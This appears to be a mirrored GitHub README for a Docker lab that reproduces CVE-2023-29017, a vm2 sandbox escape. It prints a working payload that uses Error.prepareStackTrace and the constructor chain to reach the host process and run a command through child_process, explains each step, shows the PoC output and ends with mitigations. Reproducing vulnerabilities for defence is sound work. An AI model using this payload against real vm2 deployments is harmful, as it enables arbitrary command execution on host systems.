gunwoo105/Node_CVE-2023-29017

GitHub: gunwoo105/Node_CVE-2023-29017

该项目使用 Docker Compose 和自动化 PoC 脚本复现 Node.js vm2 CVE-2023-29017 沙盒逃逸漏洞,演示从沙盒内逃逸并执行宿主系统命令的完整过程。

Stars: 0 | Forks: 0

# CVE-2023-29017 | 通过 vm2 Sandbox Escape 实现远程代码执行 ## 漏洞概述 vm2 是一个 Node.js 沙盒库,用于在受限环境中执行不受信任的 JavaScript。正常情况下,沙盒内部的代码不应访问 Node.js 的 `process, require, child_process` 以及宿主文件系统等敏感功能。 然而,在 vm2 3.9.14 及以下版本中,当发生未处理的异步错误时,未能安全处理传递给 Error.prepareStackTrace 的宿主对象。攻击者可以利用该对象的构造函数链获取宿主上下文中的 Function 构造函数和 `process` 对象,最终通过 `child_process` 执行操作系统命令。 ## 环境配置 ### 组件 | 组件 | 版本与配置 | | --- | --- | | Node.js | `18.15.0` | | vm2 | `3.9.14` | | 补丁版本 | `3.9.15` | | 运行环境 | Docker Compose | | 容器用户 | `node` | | 服务端口 | `127.0.0.1:3000` | | 包安装 | `npm ci` + `package-lock.json` | 本环境不使用现成的易受攻击镜像,而是使用官方 Node.js 基础镜像和仓库中包含的源代码进行构建。Dockerfile 会检查 Node.js 和 vm2 的版本,如果版本与预期不符,构建将会失败。 ``` RUN test "$(node --version)" = "v18.15.0" \ && test "$(node -p "require('vm2/package.json').version")" = "3.9.14" ``` | 文件 | 作用 | | --- | --- | | `docker-compose.yml` | 配置易受攻击的服务和 PoC 容器并定义执行顺序 | | `Dockerfile` | 使用 multi-stage 方式构建易受攻击的服务和 PoC 镜像 | | `vulnerable/src/server.js` | 提供 `/health`, `/execute`, `/evidence` endpoint | | `vulnerable/src/worker.js` | 在独立进程的 vm2 中执行用户输入 | | `poc/poc.js` | 自动化版本检查、正常对照组测试、攻击及证据验证 | | `vulnerable/package-lock.json` | 固定包含传递依赖在内的包版本 | 之所以将 `worker.js` 放在单独的进程中运行,是因为 PoC 会触发未处理的异步错误。即使 worker 在攻击过程中终止,Web 服务器仍会继续运行,从而可以通过 marker 文件稳定地验证攻击是否成功。 ## 漏洞触发条件 必须满足以下所有条件: 1. 应用程序使用 `vm2 3.9.14` 或更低版本。 2. 攻击者能够控制要执行的 JavaScript 输入。 3. 该 JavaScript 在 vm2 内部执行。 4. 允许异步 JavaScript 执行。 5. 未处理的异步错误到达了存在漏洞的堆栈跟踪处理路径。 6. 运行 vm2 的 Node.js 进程具有执行操作系统命令或访问文件的权限。 并非所有安装了 vm2 的服务都会自动暴露在远程攻击之下。必须存在允许攻击者控制的代码在 vm2 中执行的功能。本实验中的 `/execute` endpoint 就是对该用例的最小化实现。 攻击流程如下: ``` 악성 JavaScript 전달 │ ▼ 처리되지 않은 비동기 오류 발생 │ ▼ Error.prepareStackTrace 호출 │ ▼ 호스트 frames 객체 노출 │ ▼ 호스트 Function 생성자 획득 │ ▼ process → require → child_process │ ▼ 컨테이너 내부 OS 명령 실행 ``` ## 复现步骤 ### 构建镜像 ``` docker compose build --no-cache ``` ![镜像构建成功](https://static.pigsec.cn/wp-content/uploads/repos/cas/0c/0cb545be6a8533f64ec31dc8a37778d8ea5093be8ea92e68a5f0d0e4af80312b.png) ### 启动易受攻击的服务 ``` docker compose up -d vulnerable ``` 检查容器状态。 ``` docker compose ps ``` ### 检查服务状态与版本 ``` curl -sS \ -w '\nHTTP_STATUS=%{http_code}\n' \ ``` ![检查服务状态与版本](https://static.pigsec.cn/wp-content/uploads/repos/cas/d7/d758fbdd42ad46fba783e357bf057dc65dc7a60ae04d473fbc18eebb0d4e99c0.png) ### 执行 PoC ``` docker compose run --rm poc echo "exit_code=$?" ``` PoC 会自动验证以下内容: 1. 易受攻击服务的 healthcheck 2. Node.js 和 vm2 版本 3. 正常执行 JavaScript 21 * 2 4. 确认正常代码不会生成 marker 文件 5. 发送 CVE-2023-29017 payload 6. 检查是否创建了 `/tmp/vm2-pwned` 7. 确认文件内容中包含 `uid=` 8. 成功时返回退出代码 0,失败时返回退出代码 1 如果要一键执行从构建到运行 PoC 的全过程,请使用以下命令。 ``` docker compose up \ --build \ --abort-on-container-exit \ --exit-code-from poc ``` ### 检查证据文件 ``` docker compose exec vulnerable sh -c ' echo "[Marker file]" ls -l /tmp/vm2-pwned echo echo "[Command output]" cat /tmp/vm2-pwned ' ``` ### 停止环境 ``` docker compose down -v --rmi local --remove-orphans ``` ## 5. PoC 代码 完整的 PoC 包含在 `poc/poc.js` 中。核心 payload 如下: ``` Error.prepareStackTrace = (error, frames) => { const hostProcess = frames.constructor.constructor('return process')(); hostProcess.mainModule .require('child_process') .execSync('id > /tmp/vm2-pwned'); }; (async () => {}).constructor('return process')(); ``` ### 代码执行原理 #### 重写 `Error.prepareStackTrace` ``` Error.prepareStackTrace = (error, frames) => { ``` 攻击者重写错误堆栈跟踪生成时执行的函数。 #### 获取宿主 `Function` 构造函数 ``` frames.constructor.constructor ``` 沿着存在漏洞的 vm2 暴露的宿主 `frames` 对象的构造函数链,获取宿主上下文中的 `Function` 构造函数。 #### 获取宿主 `process` 对象 ``` frames.constructor.constructor('return process')(); ``` 在宿主上下文中创建并执行一个返回 `process` 的函数。 #### 执行操作系统命令 ``` hostProcess.mainModule .require('child_process') .execSync('id > /tmp/vm2-pwned'); ``` 加载未在沙盒内提供的 `child_process` 以执行 Linux `id` 命令。 #### 触发未处理的异步错误 ``` (async () => {}).constructor('return process')(); ``` 通过让异步函数引用沙盒中无法使用的 `process` 来创建 rejected Promise,使其到达存在漏洞的堆栈跟踪处理路径。 ## 执行结果 ### 正常对照组 正常的 JavaScript 会在 vm2 内部执行并返回 42,但不会生成执行操作系统命令的证据。 ``` [2/4] Running benign JavaScript inside vm2 Normal JavaScript returned 42 without host command execution ``` ### 漏洞利用 发送恶意 payload 后,将逃逸出 vm2 沙盒,并以存在漏洞的 Node.js 进程权限在容器内部执行 `id` 命令。 ``` [3/4] Sending CVE-2023-29017 payload Host command output: uid=1000(node) gid=1000(node) groups=1000(node) ``` PoC 会再次检查保存的证据,随后返回成功状态。 ``` [4/4] Confirming persisted evidence [SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution. exit_code=0 ``` ![PoC 执行成功](https://static.pigsec.cn/wp-content/uploads/repos/cas/d4/d407feea9ba7b962ec218e7a7820a48ec166ce4c6ebe084e85c98df1b3ee8180.png) 如果直接检查证据文件,将输出以下结果。 ![检查 Marker 证据](https://static.pigsec.cn/wp-content/uploads/repos/cas/65/65f51e030796284f01f12c4bc2da702e42412b8771f6fdfb38d24958e47e86ba.png) marker 文件会在每次执行前删除,并且在正常代码执行阶段不会生成。因此,可以防止因残留之前执行结果而导致的误报。 ## 缓解措施 ### 更新 vm2 将其更新为不受影响的版本。 ``` { "dependencies": { "vm2": "3.9.15" } } ``` 随后更新 lockfile,并使用固定的依赖进行安装。 ``` npm install --package-lock-only npm ci ``` 官方 Advisory 说明没有单独的临时解决方案,因此不建议继续使用受影响的版本。 ### 隔离不受信任代码的执行环境 不要在与应用程序相同的 Node.js 进程中执行不受信任的代码。应通过独立进程、容器或虚拟机进行隔离,并在执行完毕后销毁环境。 ### 应用最小权限原则 - 使用非 root 的专用用户运行 - 应用 `no-new-privileges` - 移除不必要的 Linux capability - 禁止挂载 Docker socket 和宿主目录 - 审查并配置只读文件系统 - 禁止在容器内部存储长期有效的凭证 ### 网络与资源限制 - 限制执行容器的对外网络访问 - 尽量减少对内部管理网和数据库的访问 - 限制 CPU、内存、进程数和执行时间 - 限制输入大小和请求频率 - 监控异常终止和重复的恶意输入 ### 身份验证与输入控制 对代码执行功能应用强身份验证和授权,不要向不明用户提供公开的任意代码执行 API。然而,身份验证仅仅是减小攻击面的辅助措施,并不能替代对漏洞本身的修复。
标签:Docker, GNU通用公共许可证, Go语言工具, MITM代理, Node.js, PoC, vm2, 安全防御评估, 数据可视化, 暴力破解, 沙箱逃逸, 漏洞复现, 版权保护, 自定义脚本, 请求拦截